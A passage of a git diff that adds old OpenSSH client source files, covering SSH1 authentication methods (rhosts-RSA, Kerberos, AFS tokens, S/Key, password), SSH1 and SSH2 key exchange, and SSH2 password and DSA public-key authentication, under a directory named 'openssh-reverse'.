packet_start(SSH_CMSG_AUTH_RHOSTS_RSA); + packet_put_string(local_user, strlen(local_user)); + packet_put_int(BN_num_bits(host_key->n)); + packet_put_bignum(host_key->e); + packet_put_bignum(host_key->n); + packet_send(); + packet_write_wait(); + + /* Wait for server's response. */ + type = packet_read(&plen); + + /* The server responds with failure if it doesn't admit our + .rhosts authentication or doesn't know our host key. */ + if (type == SSH_SMSG_FAILURE) { + debug("Server refused our rhosts authentication or host key."); + return 0; + } + /* Otherwise, the server should respond with a challenge. */ + if (type != SSH_SMSG_AUTH_RSA_CHALLENGE) + packet_disconnect("Protocol error during RSA authentication: %d", type); + + /* Get the challenge from the packet. */ + challenge = BN_new(); + packet_get_bignum(challenge, &clen); + + packet_integrity_check(plen, clen, type); + + debug("Received RSA challenge for host key from server."); + + /* Compute a response to the challenge. */ + respond_to_rsa_challenge(challenge, host_key); + + /* We no longer need the challenge. */ + BN_clear_free(challenge); + + /* Wait for response from the server. */ + type = packet_read(&plen); + if (type == SSH_SMSG_SUCCESS) { + debug("Rhosts or /etc/hosts.equiv with RSA host authentication accepted by server."); + return 1; + } + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error waiting RSA auth response: %d", type); + debug("Rhosts or /etc/hosts.equiv with RSA host authentication refused."); + return 0; +} + +#ifdef KRB4 +int +try_kerberos_authentication() +{ + KTEXT_ST auth; /* Kerberos data */ + char *reply; + char inst[INST_SZ]; + char *realm; + CREDENTIALS cred; + int r, type, plen; + socklen_t slen; + Key_schedule schedule; + u_long checksum, cksum; + MSG_DAT msg_data; + struct sockaddr_in local, foreign; + struct stat st; + + /* Don't do anything if we don't have any tickets. */ + if (stat(tkt_string(), &st) < 0) + return 0; + + strncpy(inst, (char *) krb_get_phost(get_canonical_hostname()), INST_SZ); + + realm = (char *) krb_realmofhost(get_canonical_hostname()); + if (!realm) { + debug("Kerberos V4: no realm for %s", get_canonical_hostname()); + return 0; + } + /* This can really be anything. */ + checksum = (u_long) getpid(); + + r = krb_mk_req(&auth, KRB4_SERVICE_NAME, inst, realm, checksum); + if (r != KSUCCESS) { + debug("Kerberos V4 krb_mk_req failed: %s", krb_err_txt[r]); + return 0; + } + /* Get session key to decrypt the server's reply with. */ + r = krb_get_cred(KRB4_SERVICE_NAME, inst, realm, &cred); + if (r != KSUCCESS) { + debug("get_cred failed: %s", krb_err_txt[r]); + return 0; + } + des_key_sched((des_cblock *) cred.session, schedule); + + /* Send authentication info to server. */ + packet_start(SSH_CMSG_AUTH_KERBEROS); + packet_put_string((char *) auth.dat, auth.length); + packet_send(); + packet_write_wait(); + + /* Zero the buffer. */ + (void) memset(auth.dat, 0, MAX_KTXT_LEN); + + slen = sizeof(local); + memset(&local, 0, sizeof(local)); + if (getsockname(packet_get_connection_in(), + (struct sockaddr *) & local, &slen) < 0) + debug("getsockname failed: %s", strerror(errno)); + + slen = sizeof(foreign); + memset(&foreign, 0, sizeof(foreign)); + if (getpeername(packet_get_connection_in(), + (struct sockaddr *) & foreign, &slen) < 0) { + debug("getpeername failed: %s", strerror(errno)); + fatal_cleanup(); + } + /* Get server reply. */ + type = packet_read(&plen); + switch (type) { + case SSH_SMSG_FAILURE: + /* Should really be SSH_SMSG_AUTH_KERBEROS_FAILURE */ + debug("Kerberos V4 authentication failed."); + return 0; + break; + + case SSH_SMSG_AUTH_KERBEROS_RESPONSE: + /* SSH_SMSG_AUTH_KERBEROS_SUCCESS */ + debug("Kerberos V4 authentication accepted."); + + /* Get server's response. */ + reply = packet_get_string((unsigned int *) &auth.length); + memcpy(auth.dat, reply, auth.length); + xfree(reply); + + packet_integrity_check(plen, 4 + auth.length, type); + + /* + * If his response isn't properly encrypted with the session + * key, and the decrypted checksum fails to match, he's + * bogus. Bail out. + */ + r = krb_rd_priv(auth.dat, auth.length, schedule, &cred.session, + &foreign, &local, &msg_data); + if (r != KSUCCESS) { + debug("Kerberos V4 krb_rd_priv failed: %s", krb_err_txt[r]); + packet_disconnect("Kerberos V4 challenge failed!"); + } + /* Fetch the (incremented) checksum that we supplied in the request. */ + (void) memcpy((char *) &cksum, (char *) msg_data.app_data, sizeof(cksum)); + cksum = ntohl(cksum); + + /* If it matches, we're golden. */ + if (cksum == checksum + 1) { + debug("Kerberos V4 challenge successful."); + return 1; + } else + packet_disconnect("Kerberos V4 challenge failed!"); + break; + + default: + packet_disconnect("Protocol error on Kerberos V4 response: %d", type); + } + return 0; +} + +#endif /* KRB4 */ + +#ifdef AFS +int +send_kerberos_tgt() +{ + CREDENTIALS *creds; + char pname[ANAME_SZ], pinst[INST_SZ], prealm[REALM_SZ]; + int r, type, plen; + char buffer[8192]; + struct stat st; + + /* Don't do anything if we don't have any tickets. */ + if (stat(tkt_string(), &st) < 0) + return 0; + + creds = xmalloc(sizeof(*creds)); + + if ((r = krb_get_tf_fullname(TKT_FILE, pname, pinst, prealm)) != KSUCCESS) { + debug("Kerberos V4 tf_fullname failed: %s", krb_err_txt[r]); + return 0; + } + if ((r = krb_get_cred("krbtgt", prealm, prealm, creds)) != GC_OK) { + debug("Kerberos V4 get_cred failed: %s", krb_err_txt[r]); + return 0; + } + if (time(0) > krb_life_to_time(creds->issue_date, creds->lifetime)) { + debug("Kerberos V4 ticket expired: %s", TKT_FILE); + return 0; + } + creds_to_radix(creds, (unsigned char *)buffer, sizeof buffer); + xfree(creds); + + packet_start(SSH_CMSG_HAVE_KERBEROS_TGT); + packet_put_string(buffer, strlen(buffer)); + packet_send(); + packet_write_wait(); + + type = packet_read(&plen); + + if (type == SSH_SMSG_FAILURE) + debug("Kerberos TGT for realm %s rejected.", prealm); + else if (type != SSH_SMSG_SUCCESS) + packet_disconnect("Protocol error on Kerberos TGT response: %d", type); + + return 1; +} + +void +send_afs_tokens(void) +{ + CREDENTIALS creds; + struct ViceIoctl parms; + struct ClearToken ct; + int i, type, len, plen; + char buf[2048], *p, *server_cell; + char buffer[8192]; + + /* Move over ktc_GetToken, here's something leaner. */ + for (i = 0; i < 100; i++) { /* just in case */ + parms.in = (char *) &i; + parms.in_size = sizeof(i); + parms.out = buf; + parms.out_size = sizeof(buf); + if (k_pioctl(0, VIOCGETTOK, &parms, 0) != 0) + break; + p = buf; + + /* Get secret token. */ + memcpy(&creds.ticket_st.length, p, sizeof(unsigned int)); + if (creds.ticket_st.length > MAX_KTXT_LEN) + break; + p += sizeof(unsigned int); + memcpy(creds.ticket_st.dat, p, creds.ticket_st.length); + p += creds.ticket_st.length; + + /* Get clear token. */ + memcpy(&len, p, sizeof(len)); + if (len != sizeof(struct ClearToken)) + break; + p += sizeof(len); + memcpy(&ct, p, len); + p += len; + p += sizeof(len); /* primary flag */ + server_cell = p; + + /* Flesh out our credentials. */ + strlcpy(creds.service, "afs", sizeof creds.service); + creds.instance[0] = '\0'; + strlcpy(creds.realm, server_cell, REALM_SZ); + memcpy(creds.session, ct.HandShakeKey, DES_KEY_SZ); + creds.issue_date = ct.BeginTimestamp; + creds.lifetime = krb_time_to_life(creds.issue_date, ct.EndTimestamp); + creds.kvno = ct.AuthHandle; + snprintf(creds.pname, sizeof(creds.pname), "AFS ID %d", ct.ViceId); + creds.pinst[0] = '\0'; + + /* Encode token, ship it off. */ + if (creds_to_radix(&creds, (unsigned char*) buffer, sizeof buffer) <= 0) + break; + packet_start(SSH_CMSG_HAVE_AFS_TOKEN); + packet_put_string(buffer, strlen(buffer)); + packet_send(); + packet_write_wait(); + + /* Roger, Roger. Clearance, Clarence. What's your vector, + Victor? */ + type = packet_read(&plen); + + if (type == SSH_SMSG_FAILURE) + debug("AFS token for cell %s rejected.", server_cell); + else if (type != SSH_SMSG_SUCCESS) + packet_disconnect("Protocol error on AFS token response: %d", type); + } +} + +#endif /* AFS */ + +/* + * Tries to authenticate with any string-based challenge/response system. + * Note that the client code is not tied to s/key or TIS. + */ +int +try_skey_authentication() +{ + int type, i; + int payload_len; + unsigned int clen; + char *challenge, *response; + + debug("Doing skey authentication."); + + /* request a challenge */ + packet_start(SSH_CMSG_AUTH_TIS); + packet_send(); + packet_write_wait(); + + type = packet_read(&payload_len); + if (type != SSH_SMSG_FAILURE && + type != SSH_SMSG_AUTH_TIS_CHALLENGE) { + packet_disconnect("Protocol error: got %d in response " + "to skey-auth", type); + } + if (type != SSH_SMSG_AUTH_TIS_CHALLENGE) { + debug("No challenge for skey authentication."); + return 0; + } + challenge = packet_get_string(&clen); + packet_integrity_check(payload_len, (4 + clen), type); + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! " + "Reponse will be transmitted in clear text."); + fprintf(stderr, "%s\n", challenge); + xfree(challenge); + fflush(stderr); + for (i = 0; i < options.number_of_password_prompts; i++) { + if (i != 0) + error("Permission denied, please try again."); + response = read_passphrase("Response: ", 0); + packet_start(SSH_CMSG_AUTH_TIS_RESPONSE); + packet_put_string(response, strlen(response)); + memset(response, 0, strlen(response)); + xfree(response); + packet_send(); + packet_write_wait(); + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return 1; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response " + "to skey-auth-reponse", type); + } + /* failure */ + return 0; +} + +/* + * Tries to authenticate with plain passwd authentication. + */ +int +try_password_authentication(char *prompt) +{ + int type, i, payload_len; + char *password; + + debug("Doing password authentication."); + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Password will be transmitted in clear text."); + for (i = 0; i < options.number_of_password_prompts; i++) { + if (i != 0) + error("Permission denied, please try again."); + password = read_passphrase(prompt, 0); + packet_start(SSH_CMSG_AUTH_PASSWORD); + packet_put_string(password, strlen(password)); + memset(password, 0, strlen(password)); + xfree(password); + packet_send(); + packet_write_wait(); + + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return 1; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to passwd auth", type); + } + /* failure */ + return 0; +} + +/* + * SSH1 key exchange + */ +void +ssh_kex(char *host, struct sockaddr *hostaddr) +{ + int i; + BIGNUM *key; + RSA *host_key; + RSA *public_key; + Key k; + int bits, rbits; + int ssh_cipher_default = SSH_CIPHER_3DES; + unsigned char session_key[SSH_SESSION_KEY_LENGTH]; + unsigned char cookie[8]; + unsigned int supported_ciphers; + unsigned int server_flags, client_flags; + int payload_len, clen, sum_len = 0; + u_int32_t rand = 0; + + debug("Waiting for server public key."); + + /* Wait for a public key packet from the server. */ + packet_read_expect(&payload_len, SSH_SMSG_PUBLIC_KEY); + + /* Get cookie from the packet. */ + for (i = 0; i < 8; i++) + cookie[i] = packet_get_char(); + + /* Get the public key. */ + public_key = RSA_new(); + bits = packet_get_int();/* bits */ + public_key->e = BN_new(); + packet_get_bignum(public_key->e, &clen); + sum_len += clen; + public_key->n = BN_new(); + packet_get_bignum(public_key->n, &clen); + sum_len += clen; + + rbits = BN_num_bits(public_key->n); + if (bits != rbits) { + log("Warning: Server lies about size of server public key: " + "actual size is %d bits vs. announced %d.", rbits, bits); + log("Warning: This may be due to an old implementation of ssh."); + } + /* Get the host key. */ + host_key = RSA_new(); + bits = packet_get_int();/* bits */ + host_key->e = BN_new(); + packet_get_bignum(host_key->e, &clen); + sum_len += clen; + host_key->n = BN_new(); + packet_get_bignum(host_key->n, &clen); + sum_len += clen; + + rbits = BN_num_bits(host_key->n); + if (bits != rbits) { + log("Warning: Server lies about size of server host key: " + "actual size is %d bits vs. announced %d.", rbits, bits); + log("Warning: This may be due to an old implementation of ssh."); + } + + /* Get protocol flags. */ + server_flags = packet_get_int(); + packet_set_protocol_flags(server_flags); + + supported_ciphers = packet_get_int(); + supported_authentications = packet_get_int(); + + debug("Received server public key (%d bits) and host key (%d bits).", + BN_num_bits(public_key->n), BN_num_bits(host_key->n)); + + packet_integrity_check(payload_len, + 8 + 4 + sum_len + 0 + 4 + 0 + 0 + 4 + 4 + 4, + SSH_SMSG_PUBLIC_KEY); + k.type = KEY_RSA; + k.rsa = host_key; + check_host_key(host, hostaddr, &k, + options.user_hostfile, options.system_hostfile); + + client_flags = SSH_PROTOFLAG_SCREEN_NUMBER | SSH_PROTOFLAG_HOST_IN_FWD_OPEN; + + compute_session_id(session_id, cookie, host_key->n, public_key->n); + + /* Generate a session key. */ + arc4random_stir(); + + /* + * Generate an encryption key for the session. The key is a 256 bit + * random number, interpreted as a 32-byte key, with the least + * significant 8 bits being the first byte of the key. + */ + for (i = 0; i < 32; i++) { + if (i % 4 == 0) + rand = arc4random(); + session_key[i] = rand & 0xff; + rand >>= 8; + } + + /* + * According to the protocol spec, the first byte of the session key + * is the highest byte of the integer. The session key is xored with + * the first 16 bytes of the session id. + */ + key = BN_new(); + BN_set_word(key, 0); + for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) { + BN_lshift(key, key, 8); + if (i < 16) + BN_add_word(key, session_key[i] ^ session_id[i]); + else + BN_add_word(key, session_key[i]); + } + + /* + * Encrypt the integer using the public key and host key of the + * server (key with smaller modulus first). + */ + if (BN_cmp(public_key->n, host_key->n) < 0) { + /* Public key has smaller modulus. */ + if (BN_num_bits(host_key->n) < + BN_num_bits(public_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("respond_to_rsa_challenge: host_key %d < public_key %d + " + "SSH_KEY_BITS_RESERVED %d", + BN_num_bits(host_key->n), + BN_num_bits(public_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_public_encrypt(key, key, public_key); + rsa_public_encrypt(key, key, host_key); + } else { + /* Host key has smaller modulus (or they are equal). */ + if (BN_num_bits(public_key->n) < + BN_num_bits(host_key->n) + SSH_KEY_BITS_RESERVED) { + fatal("respond_to_rsa_challenge: public_key %d < host_key %d + " + "SSH_KEY_BITS_RESERVED %d", + BN_num_bits(public_key->n), + BN_num_bits(host_key->n), + SSH_KEY_BITS_RESERVED); + } + rsa_public_encrypt(key, key, host_key); + rsa_public_encrypt(key, key, public_key); + } + + /* Destroy the public keys since we no longer need them. */ + RSA_free(public_key); + RSA_free(host_key); + + if (options.cipher == SSH_CIPHER_ILLEGAL) { + log("No valid SSH1 cipher, using %.100s instead.", + cipher_name(SSH_FALLBACK_CIPHER)); + options.cipher = SSH_FALLBACK_CIPHER; + } else if (options.cipher == SSH_CIPHER_NOT_SET) { + if (cipher_mask1() & supported_ciphers & (1 << ssh_cipher_default)) + options.cipher = ssh_cipher_default; + else { + debug("Cipher %s not supported, using %.100s instead.", + cipher_name(ssh_cipher_default), + cipher_name(SSH_FALLBACK_CIPHER)); + options.cipher = SSH_FALLBACK_CIPHER; + } + } + /* Check that the selected cipher is supported. */ + if (!(supported_ciphers & (1 << options.cipher))) + fatal("Selected cipher type %.100s not supported by server.", + cipher_name(options.cipher)); + + debug("Encryption type: %.100s", cipher_name(options.cipher)); + + /* Send the encrypted session key to the server. */ + packet_start(SSH_CMSG_SESSION_KEY); + packet_put_char(options.cipher); + + /* Send the cookie back to the server. */ + for (i = 0; i < 8; i++) + packet_put_char(cookie[i]); + + /* Send and destroy the encrypted encryption key integer. */ + packet_put_bignum(key); + BN_clear_free(key); + + /* Send protocol flags. */ + packet_put_int(client_flags); + + /* Send the packet now. */ + packet_send(); + packet_write_wait(); + + debug("Sent encrypted session key."); + + /* Set the encryption key. */ + packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, options.cipher); + + /* We will no longer need the session key here. Destroy any extra copies. */ + memset(session_key, 0, sizeof(session_key)); + + /* + * Expect a success message from the server. Note that this message + * will be received in encrypted form. + */ + packet_read_expect(&payload_len, SSH_SMSG_SUCCESS); + + debug("Received encrypted confirmation."); +} + +/* + * Authenticate user + */ +void +ssh_userauth( + const char* local_user, + const char* server_user, + char *host, + int host_key_valid, RSA *own_host_key) +{ + int i, type; + int payload_len; + + if (supported_authentications == 0) + fatal("ssh_userauth: server supports no auth methods"); + + /* Send the name of the user to log in as on the server. */ + packet_start(SSH_CMSG_USER); + packet_put_string(server_user, strlen(server_user)); + packet_send(); + packet_write_wait(); + + /* + * The server should respond with success if no authentication is + * needed (the user has no password). Otherwise the server responds + * with failure. + */ + type = packet_read(&payload_len); + + /* check whether the connection was accepted without authentication. */ + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to SSH_CMSG_USER", + type); + +#ifdef AFS + /* Try Kerberos tgt passing if the server supports it. */ + if ((supported_authentications & (1 << SSH_PASS_KERBEROS_TGT)) && + options.kerberos_tgt_passing) { + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Ticket will be transmitted in the clear!"); + (void) send_kerberos_tgt(); + } + /* Try AFS token passing if the server supports it. */ + if ((supported_authentications & (1 << SSH_PASS_AFS_TOKEN)) && + options.afs_token_passing && k_hasafs()) { + if (options.cipher == SSH_CIPHER_NONE) + log("WARNING: Encryption is disabled! Token will be transmitted in the clear!"); + send_afs_tokens(); + } +#endif /* AFS */ + +#ifdef KRB4 + if ((supported_authentications & (1 << SSH_AUTH_KERBEROS)) && + options.kerberos_authentication) { + debug("Trying Kerberos authentication."); + if (try_kerberos_authentication()) { + /* The server should respond with success or failure. */ + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to Kerberos auth", type); + } + } +#endif /* KRB4 */ + + /* + * Use rhosts authentication if running in privileged socket and we + * do not wish to remain anonymous. + */ + if ((supported_authentications & (1 << SSH_AUTH_RHOSTS)) && + options.rhosts_authentication) { + debug("Trying rhosts authentication."); + packet_start(SSH_CMSG_AUTH_RHOSTS); + packet_put_string(local_user, strlen(local_user)); + packet_send(); + packet_write_wait(); + + /* The server should respond with success or failure. */ + type = packet_read(&payload_len); + if (type == SSH_SMSG_SUCCESS) + return; + if (type != SSH_SMSG_FAILURE) + packet_disconnect("Protocol error: got %d in response to rhosts auth", + type); + } + /* + * Try .rhosts or /etc/hosts.equiv authentication with RSA host + * authentication. + */ + if ((supported_authentications & (1 << SSH_AUTH_RHOSTS_RSA)) && + options.rhosts_rsa_authentication && host_key_valid) { + if (try_rhosts_rsa_authentication(local_user, own_host_key)) + return; + } + /* Try RSA authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_RSA)) && + options.rsa_authentication) { + /* + * Try RSA authentication using the authentication agent. The + * agent is tried first because no passphrase is needed for + * it, whereas identity files may require passphrases. + */ + if (try_agent_authentication()) + return; + + /* Try RSA authentication for each identity. */ + for (i = 0; i < options.num_identity_files; i++) + if (try_rsa_authentication(options.identity_files[i])) + return; + } + /* Try skey authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_TIS)) && + options.skey_authentication && !options.batch_mode) { + if (try_skey_authentication()) + return; + } + /* Try password authentication if the server supports it. */ + if ((supported_authentications & (1 << SSH_AUTH_PASSWORD)) && + options.password_authentication && !options.batch_mode) { + char prompt[80]; + + snprintf(prompt, sizeof(prompt), "%.30s@%.40s's password: ", + server_user, host); + if (try_password_authentication(prompt)) + return; + } + /* All authentication methods have failed. Exit with an error message. */ + fatal("Permission denied."); + /* NOTREACHED */ +} diff --git a/other/openssh-reverse/sshconnect2.c b/other/openssh-reverse/sshconnect2.c new file mode 100644 index 0000000..ae96d53 --- /dev/null +++ b/other/openssh-reverse/sshconnect2.c @@ -0,0 +1,461 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshconnect2.c,v 1.15 2000/06/21 16:46:10 markus Exp $"); + +#include +#include +#include +#include +#include +#include + +#include "ssh.h" +#include "xmalloc.h" +#include "rsa.h" +#include "buffer.h" +#include "packet.h" +#include "cipher.h" +#include "uidswap.h" +#include "compat.h" +#include "readconf.h" +#include "bufaux.h" +#include "ssh2.h" +#include "kex.h" +#include "myproposal.h" +#include "key.h" +#include "dsa.h" +#include "sshconnect.h" +#include "authfile.h" + +/* import */ +extern char *client_version_string; +extern char *server_version_string; +extern Options options; + +/* + * SSH2 key exchange + */ + +unsigned char *session_id2 = NULL; +int session_id2_len = 0; + +void +ssh_kex_dh(Kex *kex, char *host, struct sockaddr *hostaddr, + Buffer *client_kexinit, Buffer *server_kexinit) +{ + int plen, dlen; + unsigned int klen, kout; + char *signature = NULL; + unsigned int slen; + char *server_host_key_blob = NULL; + Key *server_host_key; + unsigned int sbloblen; + DH *dh; + BIGNUM *dh_server_pub = 0; + BIGNUM *shared_secret = 0; + unsigned char *kbuf; + unsigned char *hash; + + debug("Sending SSH2_MSG_KEXDH_INIT."); + /* generate and send 'e', client DH public key */ + dh = dh_new_group1(); + packet_start(SSH2_MSG_KEXDH_INIT); + packet_put_bignum2(dh->pub_key); + packet_send(); + packet_write_wait(); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\np= "); + bignum_print(dh->p); + fprintf(stderr, "\ng= "); + bignum_print(dh->g); + fprintf(stderr, "\npub= "); + bignum_print(dh->pub_key); + fprintf(stderr, "\n"); + DHparams_print_fp(stderr, dh); +#endif + + debug("Wait SSH2_MSG_KEXDH_REPLY."); + + packet_read_expect(&plen, SSH2_MSG_KEXDH_REPLY); + + debug("Got SSH2_MSG_KEXDH_REPLY."); + + /* key, cert */ + server_host_key_blob = packet_get_string(&sbloblen); + server_host_key = dsa_key_from_blob(server_host_key_blob, sbloblen); + if (server_host_key == NULL) + fatal("cannot decode server_host_key_blob"); + + check_host_key(host, hostaddr, server_host_key, + options.user_hostfile2, options.system_hostfile2); + + /* DH paramter f, server public DH key */ + dh_server_pub = BN_new(); + if (dh_server_pub == NULL) + fatal("dh_server_pub == NULL"); + packet_get_bignum2(dh_server_pub, &dlen); + +#ifdef DEBUG_KEXDH + fprintf(stderr, "\ndh_server_pub= "); + bignum_print(dh_server_pub); + fprintf(stderr, "\n"); + debug("bits %d", BN_num_bits(dh_server_pub)); +#endif + + /* signed H */ + signature = packet_get_string(&slen); + packet_done(); + + if (!dh_pub_is_valid(dh, dh_server_pub)) + packet_disconnect("bad server public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_server_pub, dh); +#ifdef DEBUG_KEXDH + debug("shared secret: len %d/%d", klen, kout); + fprintf(stderr, "shared secret == "); + for (i = 0; i< kout; i++) + fprintf(stderr, "%02x", (kbuf[i])&0xff); + fprintf(stderr, "\n"); +#endif + shared_secret = BN_new(); + + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + /* calc and verify H */ + hash = kex_hash( + client_version_string, + server_version_string, + buffer_ptr(client_kexinit), buffer_len(client_kexinit), + buffer_ptr(server_kexinit), buffer_len(server_kexinit), + server_host_key_blob, sbloblen, + dh->pub_key, + dh_server_pub, + shared_secret + ); + xfree(server_host_key_blob); + DH_free(dh); +#ifdef DEBUG_KEXDH + fprintf(stderr, "hash == "); + for (i = 0; i< 20; i++) + fprintf(stderr, "%02x", (hash[i])&0xff); + fprintf(stderr, "\n"); +#endif + if (dsa_verify(server_host_key, (unsigned char *)signature, slen, hash, 20) != 1) + fatal("dsa_verify failed for server_host_key"); + key_free(server_host_key); + + kex_derive_keys(kex, hash, shared_secret); + packet_set_kex(kex); + + /* save session id */ + session_id2_len = 20; + session_id2 = xmalloc(session_id2_len); + memcpy(session_id2, hash, session_id2_len); +} + +void +ssh_kex2(char *host, struct sockaddr *hostaddr) +{ + int i, plen; + Kex *kex; + Buffer *client_kexinit, *server_kexinit; + char *sprop[PROPOSAL_MAX]; + + if (options.ciphers != NULL) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers; + } else if (options.cipher == SSH_CIPHER_3DES) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = + (char *) cipher_name(SSH_CIPHER_3DES_CBC); + } else if (options.cipher == SSH_CIPHER_BLOWFISH) { + myproposal[PROPOSAL_ENC_ALGS_CTOS] = + myproposal[PROPOSAL_ENC_ALGS_STOC] = + (char *) cipher_name(SSH_CIPHER_BLOWFISH_CBC); + } + if (options.compression) { + myproposal[PROPOSAL_COMP_ALGS_CTOS] = "zlib"; + myproposal[PROPOSAL_COMP_ALGS_STOC] = "zlib"; + } else { + myproposal[PROPOSAL_COMP_ALGS_CTOS] = "none"; + myproposal[PROPOSAL_COMP_ALGS_STOC] = "none"; + } + + /* buffers with raw kexinit messages */ + server_kexinit = xmalloc(sizeof(*server_kexinit)); + buffer_init(server_kexinit); + client_kexinit = kex_init(myproposal); + + /* algorithm negotiation */ + kex_exchange_kexinit(client_kexinit, server_kexinit, sprop); + kex = kex_choose_conf(myproposal, sprop, 0); + for (i = 0; i < PROPOSAL_MAX; i++) + xfree(sprop[i]); + + /* server authentication and session key agreement */ + ssh_kex_dh(kex, host, hostaddr, client_kexinit, server_kexinit); + + buffer_free(client_kexinit); + buffer_free(server_kexinit); + xfree(client_kexinit); + xfree(server_kexinit); + + debug("Wait SSH2_MSG_NEWKEYS."); + packet_read_expect(&plen, SSH2_MSG_NEWKEYS); + packet_done(); + debug("GOT SSH2_MSG_NEWKEYS."); + + debug("send SSH2_MSG_NEWKEYS."); + packet_start(SSH2_MSG_NEWKEYS); + packet_send(); + packet_write_wait(); + debug("done: send SSH2_MSG_NEWKEYS."); + +#ifdef DEBUG_KEXDH + /* send 1st encrypted/maced/compressed message */ + packet_start(SSH2_MSG_IGNORE); + packet_put_cstring("markus"); + packet_send(); + packet_write_wait(); +#endif + debug("done: KEX2."); +} + +/* + * Authenticate user + */ +int +ssh2_try_passwd(const char *server_user, const char *host, const char *service) +{ + static int attempt = 0; + char prompt[80]; + char *password; + + if (attempt++ >= options.number_of_password_prompts) + return 0; + + if(attempt != 1) + error("Permission denied, please try again."); + + snprintf(prompt, sizeof(prompt), "%.30s@%.40s's password: ", + server_user, host); + password = read_passphrase(prompt, 0); + packet_start(SSH2_MSG_USERAUTH_REQUEST); + packet_put_cstring(server_user); + packet_put_cstring(service); + packet_put_cstring("password"); + packet_put_char(0); + packet_put_cstring(password); + memset(password, 0, strlen(password)); + xfree(password); + packet_send(); + packet_write_wait(); + return 1; +} + +int +ssh2_try_pubkey(char *filename, + const char *server_user, const char *host, const char *service) +{ + Buffer b; + Key *k; + unsigned char *blob, *signature; + int bloblen, slen; + struct stat st; + int skip = 0; + + if (stat(filename, &st) != 0) { + debug("key does not exist: %s", filename); + return 0; + } + debug("try pubkey: %s", filename); + + k = key_new(KEY_DSA); + if (!load_private_key(filename, "", k, NULL)) { + int success = 0; + char *passphrase; + char prompt[300]; + snprintf(prompt, sizeof prompt, + "Enter passphrase for DSA key '%.100s': ", + filename); + passphrase = read_passphrase(prompt, 0); + success = load_private_key(filename, passphrase, k, NULL); + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + if (!success) { + key_free(k); + return 0; + } + } + dsa_make_key_blob(k, &blob, &bloblen); + + /* data to be signed */ + buffer_init(&b); + if (datafellows & SSH_COMPAT_SESSIONID_ENCODING) { + buffer_put_string(&b, session_id2, session_id2_len); + skip = buffer_len(&b); + } else { + buffer_append(&b, session_id2, session_id2_len); + skip = session_id2_len; + } + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, server_user); + buffer_put_cstring(&b, + datafellows & SSH_BUG_PUBKEYAUTH ? + "ssh-userauth" : + service); + buffer_put_cstring(&b, "publickey"); + buffer_put_char(&b, 1); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, blob, bloblen); + + /* generate signature */ + dsa_sign(k, &signature, &slen, buffer_ptr(&b), buffer_len(&b)); + key_free(k); +#ifdef DEBUG_DSS + buffer_dump(&b); +#endif + if (datafellows & SSH_BUG_PUBKEYAUTH) { + buffer_clear(&b); + buffer_append(&b, session_id2, session_id2_len); + buffer_put_char(&b, SSH2_MSG_USERAUTH_REQUEST); + buffer_put_cstring(&b, server_user); + buffer_put_cstring(&b, service); + buffer_put_cstring(&b, "publickey"); + buffer_put_char(&b, 1); + buffer_put_cstring(&b, KEX_DSS); + buffer_put_string(&b, blob, bloblen); + } + xfree(blob); + /* append signature */ + buffer_put_string(&b, signature, slen); + xfree(signature); + + /* skip session id and packet type 